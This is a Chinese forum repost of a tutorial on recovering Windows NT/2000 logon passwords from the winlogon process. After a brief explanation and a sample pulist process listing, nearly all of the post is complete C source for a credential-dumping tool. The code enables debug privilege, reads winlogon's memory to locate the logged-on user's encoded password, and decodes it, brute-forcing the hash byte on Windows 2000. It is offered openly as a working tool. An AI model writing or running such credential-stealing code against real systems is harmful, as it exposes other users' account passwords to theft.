找回密码
 用户注册

QQ登录

只需一步,快速开始

查看: 3666|回复: 0

[原]VisualC++信息安全编程(5)获取windows登陆账户密码

[复制链接]
发表于 2012-3-7 00:09:49 | 显示全部楼层 |阅读模式
Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。
因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。
其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。
1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。
example:
C:\Documents and Settings\bingle>pulist
Process           PID  User
Idle              0
System            8
smss.exe          164  NT AUTHORITY\SYSTEM
csrss.exe         192  NT AUTHORITY\SYSTEM
winlogon.exe      188  NT AUTHORITY\SYSTEM
wins.exe          1212 NT AUTHORITY\SYSTEM
Explorer.exe      388  TEST-2KSERVER\Administrator
internat.exe      1828 TEST-2KSERVER\Administrator
conime.exe        1868 TEST-2KSERVER\Administrator
msiexec.exe       1904 NT AUTHORITY\SYSTEM
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM
taskmgr.exe       1752 TEST-2KSERVER\Administrator
csrss.exe         2056 NT AUTHORITY\SYSTEM
winlogon.exe      2416 NT AUTHORITY\SYSTEM
rdpclip.exe       2448 TEST-2KSERVER\clovea
Explorer.exe      2408 TEST-2KSERVER\clovea
internat.exe      1480 TEST-2KSERVER\clovea
cmd.exe           2508 TEST-2KSERVER\Administrator
ntshell.exe       368  TEST-2KSERVER\Administrator
ntshell.exe       1548 TEST-2KSERVER\Administrator
ntshell.exe       1504 TEST-2KSERVER\Administrator
csrss.exe         1088 NT AUTHORITY\SYSTEM
winlogon.exe      1876 NT AUTHORITY\SYSTEM
rdpclip.exe       1680 TEST-2KSERVER\bingle
Explorer.exe      2244 TEST-2KSERVER\bingle
conime.exe        2288 TEST-2KSERVER\bingle
internat.exe      1592 TEST-2KSERVER\bingle
cmd.exe           1692 TEST-2KSERVER\bingle
mdm.exe           2476 TEST-2KSERVER\bingle
taskmgr.exe       752  TEST-2KSERVER\bingle
pulist.exe        2532 TEST-2KSERVER\bingle



具体实现代码如下
  1. #include <windows.h>
  2. #include <tchar.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. typedef struct _UNICODE_STRING
  6. {
  7.     USHORT Length;
  8.     USHORT MaximumLength;
  9.     PWSTR Buffer;
  10. } UNICODE_STRING, *PUNICODE_STRING;
  11. // Undocumented typedef's
  12. typedef struct _QUERY_SYSTEM_INFORMATION
  13. {
  14.     DWORD GrantedAccess;
  15.     DWORD PID;
  16.     WORD HandleType;
  17.     WORD HandleId;
  18.     DWORD Handle;
  19. } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
  20. typedef struct _PROCESS_INFO_HEADER
  21. {
  22.     DWORD Count;
  23.     DWORD Unk04;
  24.     DWORD Unk08;
  25. } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
  26. typedef struct _PROCESS_INFO
  27. {
  28.     DWORD LoadAddress;
  29.     DWORD Size;
  30.     DWORD Unk08;
  31.     DWORD Enumerator;
  32.     DWORD Unk10;
  33.     char Name [0x108];
  34. } PROCESS_INFO, *PPROCESS_INFO;
  35. typedef struct _ENCODED_PASSWORD_INFO
  36. {
  37.     DWORD HashByte;
  38.     DWORD Unk04;
  39.     DWORD Unk08;
  40.     DWORD Unk0C;
  41.     FILETIME LoggedOn;
  42.     DWORD Unk18;
  43.     DWORD Unk1C;
  44.     DWORD Unk20;
  45.     DWORD Unk24;
  46.     DWORD Unk28;
  47.     UNICODE_STRING EncodedPassword;
  48. } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
  49. typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
  50. typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
  51. typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
  52. typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
  53. typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);
  54. // Private Prototypes
  55. BOOL IsWinNT (void);
  56. BOOL IsWin2K (void);
  57. BOOL AddDebugPrivilege (void);
  58. DWORD FindWinLogon (void);
  59. BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
  60. BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
  61. void DisplayPasswordWinNT (void);
  62. void DisplayPasswordWin2K (void);
  63. // Global Variables
  64. PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
  65. PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
  66. PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
  67. PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
  68. PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
  69. DWORD PasswordLength = 0;
  70. PVOID RealPasswordP = NULL;
  71. PVOID PasswordP = NULL;
  72. DWORD HashByte = 0;
  73. wchar_t UserName [0x400];
  74. wchar_t UserDomain [0x400];
  75. int __cdecl main( int argc, char* argv[] )
  76. {
  77.     printf( "\n\t To Find Password in the Winlogon process\n" );
  78.         printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] );
  79.     if ((!IsWinNT ())
  80.             &&
  81.         (!IsWin2K ()))
  82.     {
  83.         printf ("Windows NT or Windows 2000 are required.\n");
  84.         return (0);
  85.     }
  86.     // Add debug privilege to PasswordReminder -
  87.     // this is needed for the search for Winlogon.
  88.     // 增加PasswordReminder的权限
  89.     // 使得PasswordReminder可以打开并调试Winlogon进程
  90.     if (!AddDebugPrivilege ())
  91.     {
  92.         printf
  93.             ("Unable to add debug privilege.\n");
  94.         return (0);
  95.     }
  96.     printf ("The debug privilege has been added to PasswordReminder.\n");
  97.     // 获得几个未公开API的入口地址
  98.     HINSTANCE hNtDll =
  99.         LoadLibrary
  100.             ("NTDLL.DLL");
  101.     pfnNtQuerySystemInformation =
  102.         (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress
  103.             (hNtDll,
  104.             "NtQuerySystemInformation");
  105.     pfnRtlCreateQueryDebugBuffer =
  106.         (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress
  107.             (hNtDll,
  108.             "RtlCreateQueryDebugBuffer");
  109.     pfnRtlQueryProcessDebugInformation =
  110.         (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress
  111.             (hNtDll,
  112.             "RtlQueryProcessDebugInformation");
  113.     pfnRtlDestroyQueryDebugBuffer =
  114.         (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress
  115.             (hNtDll,
  116.             "RtlDestroyQueryDebugBuffer");
  117.     pfnRtlRunDecodeUnicodeString =
  118.         (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress
  119.             (hNtDll,
  120.             "RtlRunDecodeUnicodeString");
  121.     // Locate WinLogon's PID - need debug privilege and admin rights.
  122.     // 获得Winlogon进程的PID
  123.     // 这里作者使用了几个Native API,其实使用PSAPI一样可以
  124.     DWORD WinLogonPID =
  125.         argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;
  126.     if (WinLogonPID == 0)
  127.     {
  128.         printf
  129.             ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
  130.         printf
  131.             ("PasswordReminder is unable to find the password in memory.\n");
  132.         FreeLibrary (hNtDll);
  133.         return (0);
  134.     }
  135.         printf("The WinLogon process id is %d (0x%8.8lx).\n",
  136.                         WinLogonPID, WinLogonPID);
  137.     // Set values to check memory block against.
  138.     // 初始化几个和用户账号相关的变量
  139.         memset(UserName, 0, sizeof (UserName));
  140.         memset(UserDomain, 0, sizeof (UserDomain));
  141.         if( argc > 2 )
  142.         {       
  143.                 mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );
  144.                 mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );
  145.         }else
  146.         {
  147.                 GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
  148.                 GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
  149.         }
  150.         printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );
  151.     // Locate the block of memory containing
  152.     // the password in WinLogon's memory space.
  153.     // 在Winlogon进程中定位包含Password的内存块
  154.     BOOL FoundPasswordPage = FALSE;
  155.     if (IsWin2K ())
  156.         FoundPasswordPage =
  157.             LocatePasswordPageWin2K
  158.                 (WinLogonPID,
  159.                 &PasswordLength);
  160.     else
  161.         FoundPasswordPage =
  162.             LocatePasswordPageWinNT
  163.                 (WinLogonPID,
  164.                 &PasswordLength);
  165.     if (FoundPasswordPage)
  166.     {
  167.         if (PasswordLength == 0)
  168.         {
  169.             printf
  170.                 ("The logon information is: %S/%S.\n",
  171.                 UserDomain,
  172.                 UserName);
  173.             printf
  174.                 ("There is no password.\n");
  175.         }
  176.         else
  177.         {
  178.             printf
  179.                 ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
  180.                 RealPasswordP,
  181.                 PasswordLength);
  182.             // Decode the password string.
  183.             if (IsWin2K ())
  184.                 DisplayPasswordWin2K ();
  185.             else
  186.                 DisplayPasswordWinNT ();
  187.         }
  188.     }
  189.     else
  190.         printf
  191.             ("PasswordReminder is unable to find the password in memory.\n");
  192.     FreeLibrary
  193.         (hNtDll);
  194.     return (0);
  195. } // main
  196. //
  197. // IsWinNT函数用来判断操作系统是否WINNT
  198. //
  199. BOOL
  200.     IsWinNT
  201.         (void)
  202. {
  203.     OSVERSIONINFO OSVersionInfo;
  204.     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
  205.     if (GetVersionEx
  206.             (&OSVersionInfo))
  207.         return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
  208.     else
  209.         return (FALSE);
  210. } // IsWinNT
  211. //
  212. // IsWin2K函数用来判断操作系统是否Win2K
  213. //
  214. BOOL
  215.     IsWin2K
  216.         (void)
  217. {
  218.     OSVERSIONINFO OSVersionInfo;
  219.     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
  220.     if (GetVersionEx
  221.             (&OSVersionInfo))
  222.         return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
  223.                     &&
  224.                 (OSVersionInfo.dwMajorVersion == 5));
  225.     else
  226.         return (FALSE);
  227. } // IsWin2K
  228. //
  229. // AddDebugPrivilege函数用来申请调试Winlogon进程的特权
  230. //
  231. BOOL
  232.     AddDebugPrivilege
  233.         (void)
  234. {
  235.     HANDLE Token;
  236.     TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
  237.     DWORD ReturnLength = 0;
  238.     if (OpenProcessToken
  239.             (GetCurrentProcess (),
  240.             TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
  241.             &Token))
  242.         if (LookupPrivilegeValue
  243.                 (NULL,
  244.                 "SeDebugPrivilege",
  245.                 &TokenPrivileges.Privileges[0].Luid))
  246.         {
  247.             TokenPrivileges.PrivilegeCount = 1;
  248.             TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  249.             return
  250.                 (AdjustTokenPrivileges
  251.                     (Token,
  252.                     FALSE,
  253.                     &TokenPrivileges,
  254.                     sizeof (TOKEN_PRIVILEGES),
  255.                     &PreviousState,
  256.                     &ReturnLength));
  257.         }
  258.     return (FALSE);
  259. } // AddDebugPrivilege
  260. //
  261. // Note that the following code eliminates the need
  262. // for PSAPI.DLL as part of the executable.
  263. // FindWinLogon函数用来寻找WinLogon进程
  264. // 由于作者使用的是Native API,因此不需要PSAPI的支持
  265. //
  266. DWORD
  267.     FindWinLogon
  268.         (void)
  269. {
  270. #define INITIAL_ALLOCATION 0x100
  271.     DWORD rc = 0;
  272.     DWORD SizeNeeded = 0;
  273.     PVOID InfoP =
  274.         HeapAlloc
  275.             (GetProcessHeap (),
  276.             HEAP_ZERO_MEMORY,
  277.             INITIAL_ALLOCATION);
  278.     // Find how much memory is required.
  279.     pfnNtQuerySystemInformation
  280.         (0x10,
  281.         InfoP,
  282.         INITIAL_ALLOCATION,
  283.         &SizeNeeded);
  284.     HeapFree
  285.         (GetProcessHeap (),
  286.         0,
  287.         InfoP);
  288.     // Now, allocate the proper amount of memory.
  289.     InfoP =
  290.         HeapAlloc
  291.             (GetProcessHeap (),
  292.             HEAP_ZERO_MEMORY,
  293.             SizeNeeded);
  294.     DWORD SizeWritten = SizeNeeded;
  295.     if (pfnNtQuerySystemInformation
  296.             (0x10,
  297.             InfoP,
  298.             SizeNeeded,
  299.             &SizeWritten))
  300.     {
  301.         HeapFree
  302.             (GetProcessHeap (),
  303.             0,
  304.             InfoP);
  305.         return (0);
  306.     }
  307.     DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
  308.     if (NumHandles == 0)
  309.     {
  310.         HeapFree
  311.             (GetProcessHeap (),
  312.             0,
  313.             InfoP);
  314.         return (0);
  315.     }
  316.     PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
  317.         (PQUERY_SYSTEM_INFORMATION) InfoP;
  318.     DWORD i;
  319.     for (i = 1; i <= NumHandles; i++)
  320.     {
  321.         // "5" is the value of a kernel object type process.
  322.         if (QuerySystemInformationP->HandleType == 5)
  323.         {
  324.             PVOID DebugBufferP =
  325.                 pfnRtlCreateQueryDebugBuffer
  326.                     (0,
  327.                     0);
  328.             if (pfnRtlQueryProcessDebugInformation
  329.                     (QuerySystemInformationP->PID,
  330.                     1,
  331.                     DebugBufferP) == 0)
  332.             {
  333.                 PPROCESS_INFO_HEADER ProcessInfoHeaderP =
  334.                     (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
  335.                 DWORD Count =
  336.                     ProcessInfoHeaderP->Count;
  337.                 PPROCESS_INFO ProcessInfoP =
  338.                     (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
  339.                 if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
  340.                 {
  341.                     DWORD i;
  342.                     DWORD dw = (DWORD) ProcessInfoP;
  343.                     for (i = 0; i < Count; i++)
  344.                     {
  345.                         dw += sizeof (PROCESS_INFO);
  346.                         ProcessInfoP = (PPROCESS_INFO) dw;
  347.                         if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
  348.                             return (0);
  349.                         if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
  350.                             rc =
  351.                                 QuerySystemInformationP->PID;
  352.                     }
  353.                     if (DebugBufferP)
  354.                         pfnRtlDestroyQueryDebugBuffer
  355.                             (DebugBufferP);
  356.                     HeapFree
  357.                         (GetProcessHeap (),
  358.                         0,
  359.                         InfoP);
  360.                     return (rc);
  361.                 }
  362.             }
  363.             if (DebugBufferP)
  364.                 pfnRtlDestroyQueryDebugBuffer
  365.                     (DebugBufferP);
  366.         }
  367.         DWORD dw = (DWORD) QuerySystemInformationP;
  368.         dw += sizeof (QUERY_SYSTEM_INFORMATION);
  369.         QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
  370.     }
  371.     HeapFree
  372.         (GetProcessHeap (),
  373.         0,
  374.         InfoP);
  375.     return (rc);
  376. } // FindWinLogon
  377. //
  378. // LocatePasswordPageWinNT函数用来在NT中找到用户密码
  379. //
  380. BOOL
  381.     LocatePasswordPageWinNT
  382.         (DWORD WinLogonPID,
  383.         PDWORD PasswordLength)
  384. {
  385. #define USER_DOMAIN_OFFSET_WINNT    0x200
  386. #define USER_PASSWORD_OFFSET_WINNT    0x400
  387.     BOOL rc = FALSE;
  388.     HANDLE WinLogonHandle =
  389.         OpenProcess
  390.             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
  391.             FALSE,
  392.             WinLogonPID);
  393.     if (WinLogonHandle == 0)
  394.         return (rc);
  395.     *PasswordLength = 0;
  396.     SYSTEM_INFO SystemInfo;
  397.     GetSystemInfo
  398.         (&SystemInfo);
  399.     DWORD PEB = 0x7ffdf000;
  400.     DWORD BytesCopied = 0;
  401.     PVOID PEBP =
  402.         HeapAlloc
  403.             (GetProcessHeap (),
  404.             HEAP_ZERO_MEMORY,
  405.             SystemInfo.dwPageSize);
  406.     if (!ReadProcessMemory
  407.             (WinLogonHandle,
  408.             (PVOID) PEB,
  409.             PEBP,
  410.             SystemInfo.dwPageSize,
  411.             &BytesCopied))
  412.     {
  413.         CloseHandle
  414.             (WinLogonHandle);
  415.         return (rc);
  416.     }
  417.     // Grab the value of the 2nd DWORD in the TEB.
  418.     PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
  419.     MEMORY_BASIC_INFORMATION MemoryBasicInformation;
  420.     if (VirtualQueryEx
  421.             (WinLogonHandle,
  422.             (PVOID) *WinLogonHeap,
  423.             &MemoryBasicInformation,
  424.             sizeof (MEMORY_BASIC_INFORMATION)))
  425.         if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
  426.                 &&
  427.             ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
  428.         {
  429.             PVOID WinLogonMemP =
  430.                 HeapAlloc
  431.                     (GetProcessHeap (),
  432.                     HEAP_ZERO_MEMORY,
  433.                     MemoryBasicInformation.RegionSize);
  434.             if (ReadProcessMemory
  435.                     (WinLogonHandle,
  436.                     (PVOID) *WinLogonHeap,
  437.                     WinLogonMemP,
  438.                     MemoryBasicInformation.RegionSize,
  439.                     &BytesCopied))
  440.             {
  441.                 DWORD i = (DWORD) WinLogonMemP;
  442.                 DWORD UserNamePos = 0;
  443.                 // The order in memory is UserName followed by the UserDomain.
  444.                 // 在内存中搜索UserName和UserDomain字符串
  445.                 do
  446.                 {
  447.                     if ((wcsicmp (UserName, (wchar_t *) i) == 0)
  448.                             &&
  449.                         (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
  450.                     {
  451.                         UserNamePos = i;
  452.                         break;
  453.                     }
  454.                     i += 2;
  455.                 } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
  456.                 if (UserNamePos)
  457.                 {
  458.                     PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
  459.                         (PENCODED_PASSWORD_INFO)
  460.                             ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
  461.                     FILETIME LocalFileTime;
  462.                     SYSTEMTIME SystemTime;
  463.                     if (FileTimeToLocalFileTime
  464.                         (&EncodedPasswordInfoP->LoggedOn,
  465.                         &LocalFileTime))
  466.                         if (FileTimeToSystemTime
  467.                             (&LocalFileTime,
  468.                             &SystemTime))
  469.                             printf
  470.                                 ("You logged on at %d/%d/%d %d:%d:%d\n",
  471.                                 SystemTime.wMonth,
  472.                                 SystemTime.wDay,
  473.                                 SystemTime.wYear,
  474.                                 SystemTime.wHour,
  475.                                 SystemTime.wMinute,
  476.                                 SystemTime.wSecond);
  477.                     *PasswordLength =
  478.                         (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
  479.                     // NT就是好,hash-byte直接放在编码中:)
  480.                     HashByte =
  481.                         (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
  482.                     RealPasswordP =
  483.                         (PVOID) (*WinLogonHeap +
  484.                             (UserNamePos - (DWORD) WinLogonMemP) +
  485.                             USER_PASSWORD_OFFSET_WINNT + 0x34);
  486.                     PasswordP =
  487.                         (PVOID) ((PBYTE) (UserNamePos +   
  488.                             USER_PASSWORD_OFFSET_WINNT + 0x34));
  489.                     rc = TRUE;
  490.                 }
  491.             }
  492.         }
  493.     HeapFree
  494.         (GetProcessHeap (),
  495.         0,
  496.         PEBP);
  497.     CloseHandle
  498.         (WinLogonHandle);
  499.     return (rc);
  500. } // LocatePasswordPageWinNT
  501. //
  502. // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码
  503. //
  504. BOOL
  505.     LocatePasswordPageWin2K
  506.         (DWORD WinLogonPID,
  507.         PDWORD PasswordLength)
  508. {
  509. #define USER_DOMAIN_OFFSET_WIN2K    0x400
  510. #define USER_PASSWORD_OFFSET_WIN2K    0x800
  511.     HANDLE WinLogonHandle =
  512.         OpenProcess
  513.             (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
  514.             FALSE,
  515.             WinLogonPID);
  516.     if (WinLogonHandle == 0)
  517.         return (FALSE);
  518.     *PasswordLength = 0;
  519.     SYSTEM_INFO SystemInfo;
  520.     GetSystemInfo
  521.         (&SystemInfo);
  522.     DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
  523.     DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
  524.     DWORD Increment = SystemInfo.dwPageSize;
  525.     MEMORY_BASIC_INFORMATION MemoryBasicInformation;
  526.     while (i < MaxMemory)
  527.     {
  528.         if (VirtualQueryEx
  529.                 (WinLogonHandle,
  530.                 (PVOID) i,
  531.                 &MemoryBasicInformation,
  532.                 sizeof (MEMORY_BASIC_INFORMATION)))
  533.         {
  534.             Increment = MemoryBasicInformation.RegionSize;
  535.             if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
  536.                     &&
  537.                 ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
  538.             {
  539.                 PVOID RealStartingAddressP =
  540.                     HeapAlloc
  541.                         (GetProcessHeap (),
  542.                         HEAP_ZERO_MEMORY,
  543.                         MemoryBasicInformation.RegionSize);
  544.                 DWORD BytesCopied = 0;
  545.                 if (ReadProcessMemory
  546.                         (WinLogonHandle,
  547.                         (PVOID) i,
  548.                         RealStartingAddressP,
  549.                         MemoryBasicInformation.RegionSize,
  550.                         &BytesCopied))
  551.                 {
  552.                     // 在WinLogon的内存空间中寻找UserName和DomainName的字符串
  553.                     if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
  554.                             &&
  555.                         (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
  556.                     {
  557.                         RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
  558.                         PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
  559.                         // Calculate the length of encoded unicode string.
  560.                         // 计算出密文的长度
  561.                         PBYTE p = (PBYTE) PasswordP;
  562.                         DWORD Loc = (DWORD) p;
  563.                         DWORD Len = 0;
  564.                         if ((*p == 0)
  565.                                 &&
  566.                             (* (PBYTE) ((DWORD) p + 1) == 0))
  567.                             ;
  568.                         else
  569.                             do
  570.                             {
  571.                                 Len++;
  572.                                 Loc += 2;
  573.                                 p = (PBYTE) Loc;
  574.                             } while
  575.                                 (*p != 0);
  576.                         *PasswordLength = Len;
  577.                         CloseHandle
  578.                             (WinLogonHandle);
  579.                         return (TRUE);
  580.                     }
  581.                 }
  582.                 HeapFree
  583.                     (GetProcessHeap (),
  584.                     0,
  585.                     RealStartingAddressP);
  586.             }
  587.         }
  588.         else
  589.             Increment = SystemInfo.dwPageSize;
  590.         // Move to next memory block.
  591.         i += Increment;
  592.     }
  593.     CloseHandle
  594.         (WinLogonHandle);
  595.     return (FALSE);
  596. } // LocatePasswordPageWin2K
  597. //
  598. // DisplayPasswordWinNT函数用来在NT中解码用户密码
  599. //
  600. void
  601.     DisplayPasswordWinNT
  602.         (void)
  603. {
  604.     UNICODE_STRING EncodedString;
  605.     EncodedString.Length =
  606.         (WORD) PasswordLength * sizeof (wchar_t);
  607.     EncodedString.MaximumLength =
  608.         ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
  609.     EncodedString.Buffer =
  610.         (PWSTR) HeapAlloc
  611.             (GetProcessHeap (),
  612.             HEAP_ZERO_MEMORY,
  613.             EncodedString.MaximumLength);
  614.     CopyMemory
  615.         (EncodedString.Buffer,
  616.         PasswordP,
  617.         PasswordLength * sizeof (wchar_t));
  618.     // Finally - decode the password.
  619.     // Note that only one call is required since the hash-byte
  620.     // was part of the orginally encoded string.
  621.     // 在NT中,hash-byte是包含在编码中的
  622.     // 因此只需要直接调用函数解码就可以了
  623.     pfnRtlRunDecodeUnicodeString
  624.         ((BYTE) HashByte,
  625.         &EncodedString);
  626.     printf
  627.         ("The logon information is: %S/%S/%S.\n",
  628.         UserDomain,
  629.         UserName,
  630.         EncodedString.Buffer);
  631.     printf
  632.         ("The hash byte is: 0x%2.2x.\n",
  633.         HashByte);
  634.     HeapFree
  635.         (GetProcessHeap (),
  636.         0,
  637.         EncodedString.Buffer);
  638. } // DisplayPasswordWinNT
  639. //
  640. // DisplayPasswordWin2K函数用来在Win2K中解码用户密码
  641. //
  642. void
  643.     DisplayPasswordWin2K
  644.         (void)
  645. {
  646.     DWORD i, Hash = 0;
  647.     UNICODE_STRING EncodedString;
  648.     EncodedString.Length =
  649.         (USHORT) PasswordLength * sizeof (wchar_t);
  650.     EncodedString.MaximumLength =
  651.         ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
  652.     EncodedString.Buffer =
  653.         (PWSTR) HeapAlloc
  654.             (GetProcessHeap (),
  655.             HEAP_ZERO_MEMORY,
  656.             EncodedString.MaximumLength);
  657.     // This is a brute force technique since the hash-byte
  658.     // is not stored as part of the encoded string - :>(.
  659.     // 因为在Win2K中hash-byte并不存放在编码中
  660.     // 所以在这里进行的是暴力破解
  661.     // 下面的循环中i就是hash-byte
  662.     // 我们将i从0x00到0xff分别对密文进行解密
  663.     // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的
  664.     // 这个算法实际上是从概率角度来解码的
  665.     // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小
  666.     for (i = 0; i <= 0xff; i++)
  667.     {
  668.         CopyMemory
  669.             (EncodedString.Buffer,
  670.             PasswordP,
  671.             PasswordLength * sizeof (wchar_t));
  672.         // Finally - try to decode the password.
  673.         // 使用i作为hash-byte对密文进行解码
  674.         pfnRtlRunDecodeUnicodeString
  675.             ((BYTE) i,
  676.             &EncodedString);
  677.         // Check for a viewable password.
  678.         // 检查解码出的密码是否完全由可见字符组成
  679.         // 如果是则认为是正确的解码
  680.         PBYTE p = (PBYTE) EncodedString.Buffer;
  681.         BOOL Viewable = TRUE;
  682.         DWORD j, k;
  683.         for (j = 0; (j < PasswordLength) && Viewable; j++)
  684.         {
  685.             if ((*p)
  686.                     &&
  687.                 (* (PBYTE)(DWORD (p) + 1) == 0))
  688.             {
  689.                 if (*p < 0x20)
  690.                     Viewable = FALSE;
  691.                 if (*p > 0x7e)
  692.                     Viewable = FALSE;
  693.                 //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了
  694.             }
  695.             else
  696.                 Viewable = FALSE;
  697.             k = DWORD (p);
  698.             k++; k++;
  699.             p = (PBYTE) k;
  700.         }
  701.         if (Viewable)
  702.         {
  703.             printf
  704.                 ("The logon information is: %S/%S/%S.\n",
  705.                 UserDomain,
  706.                 UserName,
  707.                 EncodedString.Buffer);
  708.             printf
  709.                 ("The hash byte is: 0x%2.2x.\n",
  710.                 i);
  711.         }
  712.     }
  713.     HeapFree
  714.         (GetProcessHeap (),
  715.         0,
  716.         EncodedString.Buffer);
  717. }
复制代码


作者:yincheng01 发表于2012-1-6 7:06:06 原文链接

您需要登录后才可以回帖 登录 | 用户注册

本版积分规则

Archiver|手机版|小黑屋|ACE Developer ( 京ICP备06055248号 )

GMT+8, 2024-4-29 13:51 , Processed in 0.015001 second(s), 5 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表